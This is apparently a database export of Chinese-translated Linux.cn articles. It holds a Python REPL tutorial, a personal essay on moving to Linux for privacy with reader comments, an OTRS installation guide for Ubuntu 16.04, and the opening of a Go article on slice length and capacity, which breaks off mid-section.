['abcd', 'defabca', 'aagbec']
```
现在我们有了 `fuzzyfinder`，让我们把它加入到我们的 SQL REPL 中。方法是我们自定义一个 `completer` 而不是使用来自 `prompt-toolkit` 库的 `WordCompleter` 。比如：
```
from prompt_toolkit import prompt
from prompt_toolkit.history import FileHistory
from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
from prompt_toolkit.completion import Completer, Completion
import click
from fuzzyfinder import fuzzyfinder
SQLKeywords = ['select', 'from', 'insert', 'update', 'delete', 'drop']
class SQLCompleter(Completer):
def get_completions(self, document, complete_event):
word_before_cursor = document.get_word_before_cursor(WORD=True)
matches = fuzzyfinder(word_before_cursor, SQLKeywords)
for m in matches:
yield Completion(m, start_position=-len(word_before_cursor))
while 1:
user_input = prompt(u'SQL>',
history=FileHistory('history.txt'),
auto_suggest=AutoSuggestFromHistory(),
completer=SQLCompleter(),
)
click.echo_via_pager(user_input)
```
### Pygments
现在，让我们给用户输入添加语法高亮。我们正在搭建一个 SQL REPL，如果具有彩色高亮的 SQL 语句，这会很棒。
`Pygments` 是一个提供语法高亮的库，内建支持超过 300 种语言。添加语法高亮能够使应用变得彩色化，从而能够帮助用户在执行程序前发现 SQL 中存在的错误，比如拼写错误、引号不匹配或括号不匹配。
首先，安装 `Pygments` ：
```
pip install pygments
```
让我们使用 `Pygments` 来为 SQL REPL 添加颜色：
```
from prompt_toolkit import prompt
from prompt_toolkit.history import FileHistory
from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
from prompt_toolkit.completion import Completer, Completion
import click
from fuzzyfinder import fuzzyfinder
from pygments.lexers.sql import SqlLexer
SQLKeywords = ['select', 'from', 'insert', 'update', 'delete', 'drop']
class SQLCompleter(Completer):
def get_completions(self, document, complete_event):
word_before_cursor = document.get_word_before_cursor(WORD=True)
matches = fuzzyfinder(word_before_cursor, SQLKeywords)
for m in matches:
yield Completion(m, start_position=-len(word_before_cursor))
while 1:
user_input = prompt(u'SQL>',
history=FileHistory('history.txt'),
auto_suggest=AutoSuggestFromHistory(),
completer=SQLCompleter(),
lexer=SqlLexer,
)
click.echo_via_pager(user_input)
```
`Prompt Toolkit` 能够和 `Pygments` 一同很好的工作。我们把 `Pygments` 提供的 `SqlLexer` 加入到来自 `prompt-toolkit` 的 `prompt` 中。现在，所有的用户输入都会被当作 SQL 语句，并进行适当着色。
### 结论
我们的“旅途”通过创建一个强大的 REPL 结束，这个 REPL 具有常见的 shell 的全部特性，比如历史命令，键位绑定，用户友好性比如自动补全、模糊查找、分页器支持、编辑器支持和语法高亮。我们仅用少于 20 行 Python 代码就实现了这个 REPL 。
不是很简单吗？现在，你没有理由不会写一个自己的命令行应用了。下面这些资源可能有帮助：
* [Click](http://click.pocoo.org/5/) （命令行界面创建工具）
* [Fuzzy Finder](https://pypi.python.org/pypi/fuzzyfinder)
* [Prompt Toolkit](https://python-prompt-toolkit.readthedocs.io/en/latest/)
* 在 `prompt-toolkit` 的仓库中查看 [Prompt Toolkit 教程](https://github.com/jonathanslenders/python-prompt-toolkit/tree/master/examples/tutorial) 和[例子](https://github.com/jonathanslenders/python-prompt-toolkit/tree/master/examples/)
* [Pygments](http://pygments.org/)
你也可以在我在 [PyCon US 2017](https://us.pycon.org/2017/) 的演讲[优秀的命令行工具](https://us.pycon.org/2017/schedule/presentation/518/)中学到更多东西，该会议是 5 月 20 日在波特兰，俄勒冈举行的。
（题图 ： [美国 Mennonite 教堂档案](https://www.flickr.com/photos/mennonitechurchusa-archives/6987770030/in/photolist-bDu9zC-ovJ8gx-aecxqE-oeZerP-orVJHj-oubnD1-odmmg1-ouBNHR-otUoui-occFe4-ot7LTD-oundj9-odj4iX-9QSskz-ouaoMo-ous5V6-odJKBW-otnxbj-osXERb-iqdyJ8-ovgmPu-bDukCS-sdk9QB-5JQauY-fteJ53-ownm41-ov9Ynr-odxW52-rgqPBV-osyhxE-6QLRz9-i7ki3F-odbLQd-ownZP1-osDU6d-owrTXy-osLLXS-out7Dp-hNHsya-wPbFkS-od7yfD-ouA53c-otnzf9-ormX8L-ouTj6h-e8kAze-oya2zR-hn3B2i-aDNNqk-aDNNmR) 。 Opensource.com. [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/)）
---
作者简介：
Amjith Ramanujam - Amjith Ramanujam 是 `pgcli` 和 `mycli` 的创始人。人们认为它们很酷，他表示笑纳赞誉。他喜欢用 Python、JavaScript 和 C 编程。他喜欢写一些简单、易于理解的代码，有时候这样做是成功的。
---
via: <https://opensource.com/article/17/5/4-practical-python-libraries>
作者：[Amjith Ramanujam](https://opensource.com/users/amjith) 译者：[ucasFL](https://github.com/ucasFL) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
Linux 让我对电脑有了更深刻的理解
|
Jonathan Terrasi
|
http://www.linuxinsider.com/story/84286.html
|
说起来你可能不信，两年前我还根本不知道 Linux 是什么，放弃 Windows 转投 Linux 更是不可能。虽然转投 Linux 这事有点跳跃，但事后证明这是很明智的选择。口说无凭，分析一下我的路线可能会更有说服力一点。通过这个路线来说说我是怎么从小白到精通 Linux 桌面系统的。
|
/data/attachment/album/201706/01/164210x4rstsss9zmss0s3.jpg.thumb.jpg
|
/data/attachment/album/201706/01/164210x4rstsss9zmss0s3.jpg
| true | false | true |
zschong
| false |
[
"Linux"
] |
观点
|
{
"viewnum": 8115,
"commentnum": 11,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "118.122.120.11",
"message": "这只是一个自我感觉良好的 Linux 新用户，了解一款软件运行机制，不一定要有源码，TA 应该去了解一下什么是反向工程。",
"username": "来自四川成都的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-06-01T17:17:25"
},
{
"postip": "36.149.80.107",
"message": "又一个堕入了开源原教旨主义的程序员。Linux桌面至今还是那么难用真是多亏了他们。",
"username": "来自36.149.80.107的 Chrome 58.0|Mac 10.12 用户",
"date": "2017-06-01T17:29:08"
},
{
"postip": "175.141.36.31",
"message": "Linux 的确是给智商有一定程度的人用.<br />\r\n总会有人 [拉不出屎嫌茅坑], 这也真是难为了这些人",
"username": "yomun [Chrome 58.0|GNU/Linux]",
"date": "2017-06-01T19:20:09"
},
{
"postip": "183.240.19.45",
"message": "很多人有类似的经历吧",
"username": "Wf_talk [Firefox 53.0|GNU/Linux]",
"date": "2017-06-01T21:23:18"
},
{
"postip": "223.104.213.34",
"message": "开发一个安装在手机上的Linux系统吧！",
"username": "来自223.104.213.34的 Sina Weibo 7.5|Android 6.0 用户",
"date": "2017-06-01T23:43:44"
},
{
"postip": "111.20.112.126",
"message": "这个观点我觉得有同感",
"username": "来自陕西西安的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-06-02T08:01:03"
},
{
"postip": "221.12.107.182",
"message": "我也是在 ubuntu 开始，而且停留的时间很短。真正提高，使用 arch 是很好的选择。期间在 opensuse 和 arch 之间来回折腾，照着 opensese 来设置 arch。后来就转 fedora 桌面和 centos 7 服务器了，一直到现在。centos 实用性和稳定性没得说，不要问我为什么，谁用谁知道。如果习惯了 centos，桌面系统自然就是 fedora 了。",
"username": "来自浙江台州的 Firefox 53.0|Windows 10 用户",
"date": "2017-06-02T09:10:36"
},
{
"postip": "58.63.47.115",
"message": "原文作者是音乐家，作家，兼Linux用户;",
"username": "vio [Chrome 58.0|Windows 10]",
"date": "2017-06-02T09:11:46"
},
{
"postip": "112.246.250.153",
"message": "Linux更需要联网来获得真正自由的代码，这是作为自由反金钱的一种必要条件。",
"username": "cuthead [Firefox 53.0|Ubuntu]",
"date": "2017-06-04T18:22:14"
},
{
"postip": "220.197.184.170",
"message": "arm版Linux已经有了",
"username": "来自贵州黔南的 Firefox 54.0|Windows 7 用户",
"date": "2017-06-27T16:53:03"
},
{
"postip": "183.14.134.97",
"message": "反向工程，是逆向工程吗？它能 完整、彻底 的将一个2进制应用程序给 解析成源码 吗？",
"username": "何亮 [Chrome 59.0|Windows 7]",
"date": "2017-06-29T09:06:06"
}
] |
[] |
说起来你可能不信，两年前我还根本不知道 Linux 是什么，放弃 Windows 转投 Linux 更是不可能。虽然转投 Linux 这事有点跳跃，但事后证明这是很明智的选择。口说无凭，分析一下我的路线可能会更有说服力一点。通过这个路线来说说我是怎么从小白到精通 Linux 桌面系统的。
| 2017-06-01T16:42:08 | 2017-06-01T16:42:08 | 8,562 |
/article-8562-1.html
|
我花了大量时间和耐心在 Linux 上，我的朋友们都能为我证明这点。说起来你可能不信，两年前我还根本不知道 Linux 是什么，放弃 Windows 转投 Linux 更是不可能。
虽然转投 Linux 这事有点跳跃，但事后证明这是很明智的选择。口说无凭，分析一下我的路线可能会更有说服力一点。通过这个路线来说说我是怎么从小白到精通 Linux 桌面系统的。
### 安全意识的觉醒
两年前我也是像一般的 Windows 用户一样，在 Windows 操作系统下工作。虽然我也有跟进了解主流的科技新闻的习惯，但是对计算机我也说不上深刻了解。
2013 年夏天，美国国家安全局的一份情报项目报告让我对个人隐私安全的态度迅速发生了变化。爱德华斯诺登揭露的网络监控的广度令人不安，而且也凸显出，我们大多数人——甚至不知道如何做——来保护自己的隐私。
在之前我没有对电脑或它们在我的个人事务中所扮演的角色作出任何特别的考虑，我开始意识到控制一个人的数字生活，以及控制它的设备的重要性。
按理来说下一步应该是确定该怎么去做。虽然我制订的目标似乎是合乎逻辑的，但要实现它并不简单。在接下来的几个月里，我把自己的空闲时间花在了互联网上，寻找关于隐私保护、加密以及其它任何可以保护我的技术的指南。
专家们说想逃避情报机构的监控几乎是不可能的。然而，这些专家们也会告诉你，能帮你避开那怕只是避开那么一丢丢的监视 -- 在较小的机构中有相当比例的监控更有可能针对普通民众 -- 唯一可行的办法就是使用开源软件。
Linux，我很快意识到需要去了解它，因为它是这些开源软件的头头。
### 闭源与开源
在进一步的研究中，我开始熟悉开源软件的一些特点。我们每天使用的软件的绝大多数 -- 从聊天软件到操作系统，包括Windows -- 它们都是开源软件的对立面：它们是闭源的。
例如，当微软的开发人员在 Windows 上进行开发工作时，他们会用一些编程语言编写源代码，并且只在他们的团队内部流传这些代码。当他们准备发布软件时，他们会编译它，将它从人类可读的代码转换成计算机运行的 1 和 0，面对这些机器码，即使是最聪明的人也很难逆向工程到原始源代码。
在这种模式下，只有软件的开发者才知道这些软件实际在做些什么，有没有私底下监控用户行为。
开源软件会提供软件的源代码和编译好的二进制代码给公众下载使用。不论是不是每个用户都有能力去阅读这些源代码，评估它们的安全性和隐私性，这都不重要。因为源代码是公开的，总有那么一部分人有这个能力做这些事，一但他们发现这些代码有问题他们就能及时通知其它用户，让公众一起来监督这些开源软件的行为，让那些故意隐藏的恶意代码片段或者非故意的代码漏洞能及时被发现并处理掉。
经过彻底的研究之后，很明显，唯一能保证我的隐私和用户的自主权的操作系统就是那些具备透明开放的源代码哲学的操作系统。一位知识渊博的朋友和隐私倡导者推荐的最多的是 Linux。如果这是必须的话，我已经准备好接受一个艰难的过渡，但是我对隐私的重要性的信念给了我信心去尝试。
### 婴儿学步
虽然我决心转向 Linux 的是急切的，但饭得一口吃，路也得一步一步走。我是最开始是从安装 Ubuntu 开始的 —— 一个容易配置对初学者很友好的 Linux 发行版 —— 在我的老笔记本电脑上它与原有的 Windows 相处融洽井水不犯河水。
每次启动我的电脑时，我都能选择 Ubuntu 或 Windows ，这样我就能在 Linux 上找到自己的下脚点，同时保留熟悉的 Windows 以防前者可能缺失的一些辅助性功能。
不久后，一个硬盘驱动器损坏严重让我无法再继续享受这个设置，不过我认为这是一个机会，让我考虑一下买一台 Linux 的新笔记本电脑。由于 Linux 对标准的英特尔处理器、图形卡和无线适配器的驱动程序支持得很好，所以我买了一台联想的 ThinkPad。
我做了一个全新的开始，完全擦除我的新机器上的 Windows ，安装了 Debian ，这是一个广泛兼容和稳定的发行版，Ubuntu 就是基于它衍生出来的。我不仅在没有熟悉的 Windows 安全网络的情况下挺过来了，我还在不断的进步提高。我很快就沉浸在以前神秘的命令行世界里。
在我用了一年的 Linux 操作系统之后，我又进行了一次冒险，安装了 Arch Linux ，它需要一个更加复杂的手动用户安装过程，并带有完全的磁盘加密。那天晚上，我和一位 Linux 资深管理人士一起安装了 Arch ，这标志着我生命中最值得骄傲的成就之一。
在这个过程中，我面临着挑战 -- 有时，在Windows上无缝工作的应用程序需要额外的步骤或需要安装必要的驱动 -- 但是我克服了它们，或者说绕过它们，继续按照我自己的节奏摸索 Linux。
### 全速前进
就我而言，那时我才真正开始进行我的学习。我用 Linux 来驾驭计算机，并确保它可以为我工作，不过最让我着迷的是它提供对系统进行修改的自由和个性化处理。
作为一个开源操作系统，Linux 是无限开放的。尽管我最初期望花时间阅读安全实践（我现在仍然这么做），但我也发现自己深入到配置面板中，并把所有的颜色、图标和菜单都列出来，只是这样而已。
我花了一些时间去适应，但我越是投入到新事物中，我就变得越自信，越好奇。
自从在这条路上走了两年多以后，我在电脑上从来没有像今天这么多的感受。我不能像我想要的那样去个性化 Windows，另外依据我从开源社区学到的东西来看，我也不能完全信任它。
有一个叫电脑的东西，它曾经只是我的的一件不起眼的硬件设备，现在它和我之间的关系变得非常美妙 —— 超越记者和他的笔记本、也超越小提琴家和他的小提琴的关系。
我甚至为自己的手机不像我的笔记本电脑那样是真正的 Linux 而感到悲哀，我都不知道我能对它做些什么。不管怎么样，我将继续对我的 Arch 系统进行优化，只要有机会我将会再去发现新的领域并探索新的可能性。
---
via: <http://www.linuxinsider.com/story/84286.html>
作者：[Jonathan Terrasi](http://www.linkedin.com/company/ect-news-network) 译者：[zschong](https://github.com/zschong) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
如何在 Ubuntu 16.04 上安装 OTRS （开源问题单系统）
|
Muhammad Arul
|
https://www.howtoforge.com/tutorial/how-to-install-otrs-opensource-trouble-ticket-system-on-ubuntu-16-04/
|
OTRS ，即开源问题单ticket申请系统，是一个用于客户服务、帮助台和 IT 服务管理的开源问题单软件。对于那些需要管理票据、投诉、支持请求或其他类型的报告的公司和组织来说，这是一个问题单解决方案。
|
/data/attachment/album/201706/02/002835o3lba37az40sn7w7.png.thumb.jpg
|
/data/attachment/album/201706/02/002835o3lba37az40sn7w7.png
| true | false | true |
geekpi
| false |
[
"OTRS"
] |
技术
|
{
"viewnum": 7621,
"commentnum": 0,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
OTRS ，即开源问题单ticket申请系统，是一个用于客户服务、帮助台和 IT 服务管理的开源问题单软件。对于那些需要管理票据、投诉、支持请求或其他类型的报告的公司和组织来说，这是一个问题单解决方案。
| 2017-06-02T08:23:00 | 2017-06-02T08:23:00 | 8,563 |
/article-8563-1.html
|
[OTRS](https://www.otrs.com) ，即开源<ruby> 问题单 <rp> （ </rp> <rt> ticket </rt> <rp> ） </rp></ruby>申请系统，是一个用于客户服务、帮助台和 IT 服务管理的开源问题单软件。该软件是用 Perl 和 javascript 编写的。对于那些需要管理票据、投诉、支持请求或其他类型的报告的公司和组织来说，这是一个问题单解决方案。OTRS 支持包括 MySQL、PostgreSQL、Oracle 和 SQL Server 在内的多个数据库系统，它是一个可以安装在 Windows 和 Linux 上的多平台软件。
在本教程中，我将介绍如何在 Ubuntu 16.04 上安装和配置 OTRS。我将使用 PostgreSQL 作为 OTRS 的数据库，将 Apache Web 服务器用作 Web 服务器。
**先决条件**
* Ubuntu 16.04。
* 最小 2GB 的内存。
* root 权限
### 步骤 1 - 安装 Apache 和 PostgreSQL
在第一步中，我们将安装 Apache Web 服务器以及 PostgreSQL。我们将从 ubuntu 仓库中使用最新的版本。
使用 SSH 登录到你的 Ubuntu 服务器中：
```
ssh root@192.168.33.14
```
更新 Ubuntu 仓库。
```
sudo apt-get update
```
使用 apt 安装 Apache2 以及 PostgreSQL：
```
sudo apt-get install -y apache2 libapache2-mod-perl2 postgresql
```
通过检查服务器端口确保 Apache 以及 PostgreSQL 运行了。
```
netstat -plntu
```
你可以看到 80 端口被 apache 使用了，5432 端口被 postgresql 数据库使用了。
### 步骤 2 - 安装 Perl 模块
OTRS 基于 Perl，因此我们需要安装一些 OTRS 需要的 Perl 模块。
使用这个 apt 命令安装 perl 模块：
```
sudo apt-get install -y libapache2-mod-perl2 libdbd-pg-perl libnet-dns-perl libnet-ldap-perl libio-socket-ssl-perl libpdf-api2-perl libsoap-lite-perl libgd-text-perl libgd-graph-perl libapache-dbi-perl libarchive-zip-perl libcrypt-eksblowfish-perl libcrypt-ssleay-perl libencode-hanextra-perl libjson-xs-perl libmail-imapclient-perl libtemplate-perl libtext-csv-xs-perl libxml-libxml-perl libxml-libxslt-perl libpdf-api2-simple-perl libyaml-libyaml-perl
```
安装完成后，我们需要为 apache 激活 Perl 模块，接着重启 apache 服务。
```
a2enmod perl
systemctl restart apache2
```
接下来，使用下面的命令检查模块是否已经加载了：
```
apachectl -M | sort
```
你可以在 “Loaded Modules” 部分下看到 **perl\_module**。
### 步骤 3 - 为 OTRS 创建新用户
OTRS 是一个基于 web 的程序并且运行与 apache web 服务器下。为了安全，我们需要以普通用户运行它，而不是 root 用户。
使用 useradd 命令创建一个 `otrs` 新用户：
```
useradd -r -d /opt/otrs -c 'OTRS User' otrs
```
* `-r`：将用户作为系统用户。
* `-d /opt/otrs`：在 `/opt/otrs` 下放置新用户的主目录。
* `-c`：备注。
接下来，将 `otrs` 用户加入到 `www-data` 用户组，因为 apache 运行于 `www-data` 用户及用户组。
```
usermod -a -G www-data otrs
```
在 `/etc/passwd` 文件中已经有 `otrs` 用户了。
```
grep -rin otrs /etc/passwd
```
OTRS 的新用户已经创建了。
### 步骤 4 - 创建和配置数据库
在这节中，我们会为 OTRS 系统创建一个新 PostgreSQL 数据库，并对 PostgreSQL 数据库的配置做一些小的更改。
登录到 `postgres` 用户并访问 PostgreSQL shell。
```
su - postgres
psql
```
创建一个新的角色 `otrs`，密码是 `myotrspw`，并且是非特权用户。
```
create user otrs password 'myotrspw' nosuperuser;
```
接着使用 `otrs` 用户权限创建一个新的 `otrs` 数据库：
```
create database otrs owner otrs;
\q
```
接下来为 `otrs` 角色验证编辑 PostgreSQL 配置文件。
```
vim /etc/postgresql/9.5/main/pg_hba.conf
```
在 84 行后粘贴下面的配置：
```
local otrs otrs password
host otrs otrs 127.0.0.1/32 password
```
保存文件并退出 vim
使用 `exit` 回到 root 权限并重启 PostgreSQL：
```
exit
systemctl restart postgresql
```
PostgreSQL 已经为 OTRS 的安装准备好了。
### 步骤 5 - 下载和配置 OTRS
在本教程中，我们会使用 OTRS 网站中最新的版本。
进入 `/opt` 目录并使用 `wget` 命令下载 OTRS 5.0：
```
cd /opt/
wget http://ftp.otrs.org/pub/otrs/otrs-5.0.16.tar.gz
```
展开该 otrs 文件，重命名目录并更改所有 otrs 的文件和目录的所属人为 `otrs`。
```
tar -xzvf otrs-5.0.16.tar.gz
mv otrs-5.0.16 otrs
chown -R otrs:otrs otrs
```
接下来，我们需要检查系统并确保可以安装 OTRS 了。
使用下面的 otrs 脚本命令检查 OTRS 安装需要的系统软件包：
```
/opt/otrs/bin/otrs.CheckModules.pl
```
确保所有的结果是对的，这意味着我们的服务器可以安装 OTRS 了。
OTRS 已下载，并且我们的服务器可以安装 OTRS 了。
接下，进入 otrs 目录并复制配置文件。
```
cd /opt/otrs/
cp Kernel/Config.pm.dist Kernel/Config.pm
```
使用 vim 编辑 `Config.pm` 文件：
```
vim Kernel/Config.pm
```
更改 42 行的数据库密码：
```
$Self->{DatabasePw} = 'myotrspw';
```
注释 45 行的 MySQL 数据库支持：
```
# $Self->{DatabaseDSN} = "DBI:mysql:database=$Self->{Database};host=$Self->{DatabaseHost};";
```
取消注释 49 行的 PostgreSQL 数据库支持：
```
$Self->{DatabaseDSN} = "DBI:Pg:dbname=$Self->{Database};";
```
保存文件并退出 vim。
接着编辑 apache 启动文件来启用 PostgreSQL 支持。
```
vim scripts/apache2-perl-startup.pl
```
取消注释 60 和 61 行：
```
# enable this if you use postgresql
use DBD::Pg ();
use Kernel::System::DB::postgresql;
```
保存文件并退出编辑器。
最后，检查缺失的依赖和模块。
```
perl -cw /opt/otrs/bin/cgi-bin/index.pl
perl -cw /opt/otrs/bin/cgi-bin/customer.pl
perl -cw /opt/otrs/bin/otrs.Console.pl
```
你可以在下面的截图中看到结果是 “**OK**”：
### 步骤 6 - 导入样本数据库
在本教程中，我们会使用样本数据库，这可以在脚本目录中找到。因此我们只需要将所有的样本数据库以及表结构导入到第 4 步创建的数据库中。
登录到 `postgres` 用户并进入 otrs 目录中。
```
su - postgres
cd /opt/otrs/
```
作为 otrs 用户使用 `psql` 命令插入数据库以及表结构。
```
psql -U otrs -W -f scripts/database/otrs-schema.postgresql.sql otrs
psql -U otrs -W -f scripts/database/otrs-initial_insert.postgresql.sql otrs
psql -U otrs -W -f scripts/database/otrs-schema-post.postgresql.sql otrs
```
在需要的时候输入数据库密码 `myotrspw`。
### 步骤 7 - 启动 OTRS
数据库以及 OTRS 已经配置了，现在我们可以启动 OTRS。
将 otrs 的文件及目录权限设置为 `www-data` 用户和用户组。
```
/opt/otrs/bin/otrs.SetPermissions.pl --otrs-user=www-data --web-group=www-data
```
通过创建一个新的链接文件到 apache 虚拟主机目录中启用 otrs apache 配置。
```
ln -s /opt/otrs/scripts/apache2-httpd.include.conf /etc/apache2/sites-available/otrs.conf
```
启用 otrs 虚拟主机并重启 apache。
```
a2ensite otrs
systemctl restart apache2
```
确保 apache 启动没有错误。
### 步骤 8 - 配置 OTRS 计划任务
OTRS 已经安装并运行在 Apache Web 服务器中了，但是我们仍然需要配置 OTRS 计划任务。
登录到 `otrs` 用户，接着以 otrs 用户进入 `var/cron` 目录。
```
su - otrs
cd var/cron/
pwd
```
使用下面的命令复制所有 `.dist` 计划任务脚本：
```
for foo in *.dist; do cp $foo `basename $foo .dist`; done
```
使用 `exit` 回到 root 权限，并使用 otrs 用户启动计划任务脚本。
```
exit
/opt/otrs/bin/Cron.sh start otrs
```
接下来，手动收取电子邮件的 PostMaster 创建一个新的计划任务。我会配置为每 2 分钟收取一次邮件。
```
su - otrs
crontab -e
```
粘贴下面的配置：
```
*/2 * * * * $HOME/bin/otrs.PostMasterMailbox.pl >> /dev/null
```
保存并退出。
现在停止 otrs 守护进程并再次启动。
```
bin/otrs.Daemon.pl stop
bin/otrs.Daemon.pl start
```
OTRS 安装以及配置完成了。
### 步骤 9 - 测试 OTRS
打开你的 web 浏览器并输入你的服务器 IP 地址： <http://192.168.33.14/otrs/>
使用默认的用户 `root@localhost` 以及密码 `root` 登录。
使用默认的 root 账户你会看到一个警告。点击警告信息来创建一个新的 admin root 用户。
下面是用另外的 admin root 用户登录后出现的 admin 页面，这里没有出现错误信息。
如果你想作为客户登录，你可以使用 `customer.pl` ：<http://192.168.33.14/otrs/customer.pl>
你会看到客户登录界面，输入客户的用户名和密码。
下面是一个创建新单据的客户页面。
### 步骤 10 - 疑难排查
如果你仍旧看到 “OTRS Daemon is not running” 的错误，你可以像这样调试 OTRS 守护进程。
```
su - otrs
cd /opt/otrs/
```
停止 OTRS 守护进程：
```
bin/otrs.Daemon.pl stop
```
使用 `--debug` 选项启动 OTRS 守护进程。
```
bin/otrs.Daemon.pl start --debug
```
### 参考
* [http://wiki.otterhub.org/index.php?title=Installation*on*Debian*6*with\_Postgres](http://wiki.otterhub.org/index.php?title=Installation_on_Debian_6_with_Postgres)
* <http://www.geoffstratton.com/otrs-installation-5011-ubuntu-1604>
* <https://www.linkedin.com/pulse/ticketing-system-otrs-ubuntu-1404-muhammad-faiz-khan>
---
via: <https://www.howtoforge.com/tutorial/how-to-install-otrs-opensource-trouble-ticket-system-on-ubuntu-16-04/>
作者：[Muhammad Arul](https://www.howtoforge.com/tutorial/how-to-install-otrs-opensource-trouble-ticket-system-on-ubuntu-16-04/) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
在 Go 中如何使用切片的容量和长度
|
Jon Calhoun
|
https://www.calhoun.io/how-to-use-slice-capacity-and-length-in-go
|
在 Go 中同时有数组（array）和切片（slice）。这可能令人困惑，但一旦你习惯了，你会喜欢上它。请相信我。
|
/data/attachment/album/201706/02/010040jzhp12rlrd2lhktp.jpg.thumb.jpg
|
/data/attachment/album/201706/02/010040jzhp12rlrd2lhktp.jpg
| true | false | true |
geekpi
| false |
[
"Golang",
"数组"
] |
软件开发
|
{
"viewnum": 8861,
"commentnum": 1,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "120.197.32.8",
"message": "使用Python这个功能没啥好说的",
"username": "来自广东广州的 Firefox 47.0|Windows 7 用户",
"date": "2017-06-02T17:21:10"
}
] |
[] |
在 Go 中同时有数组（array）和切片（slice）。这可能令人困惑，但一旦你习惯了，你会喜欢上它。请相信我。
| 2017-06-02T09:49:00 | 2017-06-02T09:49:00 | 8,564 |
/article-8564-1.html
|
快速测试 - 下面的代码输出什么？
```
vals := make([]int, 5)
for i := 0; i < 5; i++ {
vals = append(vals, i)
}
fmt.Println(vals)
```
*[在 Go Playground 运行一下](https://play.golang.org/p/7PgUqBdZ6Z)*
如果你猜测的是 `[0 0 0 0 0 0 1 2 3 4]`，那你是对的。
*等等，什么？* 为什么不是 `[0 1 2 3 4]`?
如果你在测试中做错了，你也不用担心。这是在过渡到 Go 语言的过程中相当常见的错误，在这篇文章中，我们将说明为什么输出不是你预期的，以及如何利用 Go 的细微差别来使你的代码更有效率。
### 切片 vs 数组
在 Go 中同时有数组（array）和切片（slice）。这可能令人困惑，但一旦你习惯了，你会喜欢上它。请相信我。
切片和数组之间存在许多差异，但我们要在本文中重点介绍的内容是数组的大小是其类型的一部分，而切片可以具有动态大小，因为它们是围绕数组的封装。
这在实践中意味着什么？那么假设我们有数组 `val a [10]int`。该数组具有固定大小，且无法更改。如果我们调用 `len(a)`，它总是返回 `10`，因为这个大小是类型的一部分。因此，如果你突然需要在数组中超过 10 个项，则必须创建一个完全不同类型的新对象，例如 `val b [11]int`，然后将所有值从 `a` 复制到 `b`。
在特定情况下，含有集合大小的数组是有价值的，但一般而言，这不是开发人员想要的。相反，他们希望在 Go 中使用类似于数组的东西，但是随着时间的推移，它们能够随时增长。一个粗略的方式是创建一个比它需要大得多的数组，然后将数组的一个子集视为数组。下面的代码是个例子。
```
var vals [20]int
for i := 0; i < 5; i++ {
vals[i] = i * i
}
subsetLen := 5
fmt.Println("The subset of our array has a length of:", subsetLen)
// Add a new item to our array
vals[subsetLen] = 123
subsetLen++
fmt.Println("The subset of our array has a length of:", subsetLen)
```
*[在 Go Playground 中运行](https://play.golang.org/p/Np6-NEohm2)*
在代码中，我们有一个长度为 `20` 的数组，但是由于我们只使用一个子集，代码中我们可以假定数组的长度是 `5`，然后在我们向数组中添加一个新的项之后是 `6`。
这是（非常粗略地说）切片是如何工作的。它们包含一个具有设置大小的数组，就像我们前面的例子中的数组一样，它的大小为 `20`。
它们还跟踪程序中使用的数组的子集 - 这就是 `append` 属性，它类似于上一个例子中的 `subsetLen` 变量。
最后，一个切片还有一个 `capacity`，类似于前面例子中我们的数组的总长度（`20`）。这是很有用的，因为它会告诉你的子集在无法容纳切片数组之前可以增长的大小。当发生这种情况时，需要分配一个新的数组，但所有这些逻辑都隐藏在 `append` 函数的后面。
简而言之，使用 `append` 函数组合切片给我们一个非常类似于数组的类型，但随着时间的推移，它可以处理更多的元素。
我们再来看一下前面的例子，但是这次我们将使用切片而不是数组。
```
var vals []int
for i := 0; i < 5; i++ {
vals = append(vals, i)
fmt.Println("The length of our slice is:", len(vals))
fmt.Println("The capacity of our slice is:", cap(vals))
}
// Add a new item to our array
vals = append(vals, 123)
fmt.Println("The length of our slice is:", len(vals))
fmt.Println("The capacity of our slice is:", cap(vals))
// Accessing items is the same as an array
fmt.Println(vals[5])
fmt.Println(vals[2])
```
*[在 Go Playground 中运行](https://play.golang.org/p/M_qaNGVbC-)*
我们仍然可以像数组一样访问我们的切片中的元素，但是通过使用切片和 `append` 函数，我们不再需要考虑背后数组的大小。我们仍然可以通过使用 `len` 和 `cap` 函数来计算出这些东西，但是我们不用担心太多。简洁吧？
### 回到测试
记住这点，让我们回顾前面的测试，看下什么出错了。
```
vals := make([]int, 5)
for i := 0; i < 5; i++ {
vals = append(vals, i)
}
fmt.Println(vals)
```
当调用 `make` 时，我们允许最多传入 3 个参数。第一个是我们分配的类型，第二个是类型的“长度”，第三个是类型的“容量”（*这个参数是可选的*）。
通过传递参数 `make([]int, 5)`，我们告诉程序我们要创建一个长度为 5 的切片，在这种情况下，默认的容量与长度相同 - 本例中是 5。
虽然这可能看起来像我们想要的那样，这里的重要区别是我们告诉我们的切片，我们要将“长度”和“容量”设置为 5，假设你想要在初始的 5 个元素*之后*添加新的元素，我们接着调用 `append` 函数，那么它会增加容量的大小，并且会在切片的最后添加新的元素。
如果在代码中添加一条 `Println()` 语句，你可以看到容量的变化。
```
vals := make([]int, 5)
fmt.Println("Capacity was:", cap(vals))
for i := 0; i < 5; i++ {
vals = append(vals, i)
fmt.Println("Capacity is now:", cap(vals))
}
fmt.Println(vals)
```
*[在 Go Playground 中运行](https://play.golang.org/p/d6OUulTYM7)*
最后，我们最终得到 `[0 0 0 0 0 0 1 2 3 4]` 的输出而不是希望的 `[0 1 2 3 4]`。
如何修复它呢？好的，这有几种方法，我们将讲解两种，你可以选取任何一种在你的场景中最有用的方法。
#### 直接使用索引写入而不是 `append`
